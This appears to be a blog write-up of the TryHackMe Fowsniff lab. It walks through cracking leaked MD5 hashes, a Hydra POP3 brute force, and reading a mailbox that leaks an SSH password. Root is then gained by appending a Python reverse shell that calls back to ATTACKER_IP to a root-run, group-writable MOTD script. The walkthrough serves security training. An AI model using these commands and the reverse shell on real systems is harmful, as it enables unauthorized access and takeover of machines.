Fowsniff CTFFowsniff CTF room icon

Fowsniff is a beginner boot2root in the TryHackMe catalog, and it is a tidy example of a full credential chain: a public breach dump feeds a mail brute force, the mailbox hands you a shared SSH password, and a sloppy file permission on a login script turns that foothold into root. It pairs well with the other offensive walkthroughs on this blog, like the Expose SQLi-to-RCE room and the ToolsRus Tomcat room, where the theme is the same: enumerate, loot a credential, escalate.

Everything here ran from my Mac straight over the TryHackMe VPN. The target was reachable directly, so there was no need for the AttackBox.

Task 1: from a breach dump to a root shell

The room is a single task of fifteen questions that walk the intended path step by step. Two questions want a typed answer (seina’s email password and her temporary SSH password), and the rest are “no answer needed” checkpoints. I will follow the chain in order.

Enumerate the services

A service scan shows four open ports: SSH, HTTP, and a Dovecot POP3/IMAP mail stack.

  # nmap -sC -sV -Pn 10.X.X.X
22/tcp  open  ssh     OpenSSH 7.2p2 Ubuntu
80/tcp  open  http    Apache httpd 2.4.18 ((Ubuntu))
110/tcp open  pop3    Dovecot pop3d
143/tcp open  imap    Dovecot imapd
nmap service scan of Fowsniff showing SSH, HTTP, POP3 and IMAP

The web root tells the story the box is built on. The landing page is a breach notice: Fowsniff suffered a data breach, employee usernames and passwords leaked, and the attackers even hijacked the corporate Twitter account. The page name-drops the @fowsniffcorp handle, which is the thread to pull on.

Find the public leak

The task hint points at the leak directly: there is a public paste (mirrored at github.com/berzerk0/Fowsniff) with the company’s employee emails and MD5 password hashes. That dump is the entire reason the room exists, so there is no shame in grabbing it.

curl -sL https://raw.githubusercontent.com/berzerk0/Fowsniff/master/fowsniff.txt
  # mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4
  # seina@fowsniff:90dc16d47114aa13671c697fd506cf26
  # ... nine accounts, each user@fowsniff:<md5>

Crack the hashes

These are unsalted MD5 hashes, so rockyou cracks almost all of them in a fraction of a second. I scripted the lookup rather than paste each hash into an online cracker.

  # md5(rockyou word) == leaked hash, per account
seina    scoobydoo2
mauer    mailcall
baksteen skyler22
mustikka bilbo101
  # ... 8 of 9 crack; stone's hash stays uncracked
cracked leaked MD5 hashes and the Hydra POP3 result

The question only needs seina’s, but cracking the full set gives the brute force its wordlist.

Brute the POP3 login

The room suggests the Metasploit auxiliary/scanner/pop3/pop3_login module. Hydra does the same job in one line. I fed it every leaked username against every cracked password.

hydra -L users.txt -P pass.txt -f pop3://10.X.X.X
  # [110][pop3] login: seina   password: scoobydoo2

Only one pair holds on the temporary server: seina with her leaked password. So seina’s password to the email service was scoobydoo2 (her own breached credential, still valid on the mail box).

Read seina’s mailbox

With valid POP3 creds, I connected and pulled her two messages. One note is an all-hands “URGENT! Security EVENT!” from stone, and it leaks the next step in plain text.

The temporary password for SSH is “S1ck3nBluff+secureshell”

the internal email leaking the temporary SSH password

So the temporary password set for her was S1ck3nBluff+secureshell. One gotcha worth noting: Dovecot throttles authentication right after a brute force, so the POP3 login (and the RETR that follows) can hang on a short timeout. Bumping the client timeout to a minute, rather than the default fifteen seconds, was the difference between a stack trace and a clean read.

SSH in and look at the group

The email is signed by stone, but stone’s own hash never cracked, so stone is a dead end. The temp password is a shared credential, and it still works for the other named recipients. baksteen logs in cleanly:

sshpass -p 'S1ck3nBluff+secureshell' ssh [email protected]
  # uid=1004(baksteen) gid=100(users) groups=100(users),1004(baksteen)

baksteen is in the users group, and the room hint (cube.sh) points straight at the interesting file:

find / -group users -type f 2>/dev/null
  # /opt/cube/cube.sh
ls -l /opt/cube/cube.sh
  # -rw-rwxr-- 1 parede users 851 Mar 11  2018 /opt/cube/cube.sh

cube.sh is group-writable by users, and the directory itself is drwxrwxrwx. baksteen can rewrite it.

Why cube.sh runs as root

Look at /etc/update-motd.d/00-header: its last line is sh /opt/cube/cube.sh. The MOTD scripts run as root on every SSH login to print that Fowsniff ASCII banner. So anything appended to cube.sh executes as root the next time anyone connects. That is the whole privesc: a root-run login script that a low-privilege group can edit.

Append a reverse shell and trigger it

I backed up the original, appended a Python3 reverse shell to cube.sh, started a listener, and triggered it by opening a second SSH session.

  # on the box, as baksteen:
cp /opt/cube/cube.sh /tmp/cube.sh.bak
cat >> /opt/cube/cube.sh <<'PAY'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
PAY

  # locally:
nc -lvn 4444
  # re-login over SSH to fire the MOTD:
ssh [email protected] 'exit'

The listener catches a shell, and the MOTD ran it as root:

  # id
uid=0(root) gid=0(root) groups=0(root)
  # hostname
fowsniff
root reverse shell caught from the MOTD script, showing uid=0 and the root flag banner

/root/flag.txt is an ASCII “ROOT FLAG” banner rather than a hash string, so the root shell itself is the proof. A small practical note from my run: port 1234 (the room’s suggested port) was already bound by another process on my Mac, so the first listener silently never bound and my shell commands leaked into a local session. Switching to port 4444 fixed it instantly. If a reverse shell “connects” but your typing goes nowhere, check that your listener actually owns the port.

After grabbing root I restored cube.sh from the backup through the root shell to leave the box as I found it.

Two takeaways

First, a shared “temporary” password is a credential-reuse bug waiting to happen. stone issued one SSH password to the whole team, and because it was shared, cracking nobody’s hash was needed to escalate laterally: the mailbox simply handed it over. On a real engagement this is the same pattern as a default or reset password mailed in cleartext, and it is worth hunting for in any mailbox or ticketing system you gain read access to.

Second, writable files in a root execution path are the privesc. The vulnerability was not in SSH or Dovecot; it was a rw-rwxr-- MOTD helper that root runs on every login. When you land a foothold, enumerate what root runs automatically (MOTD scripts, cron, systemd units, login hooks) and check whether your group can write any of them. A group-writable file in a root-run path beats most kernel exploits for reliability.

Room solved 100%: 1 task, 15 answers.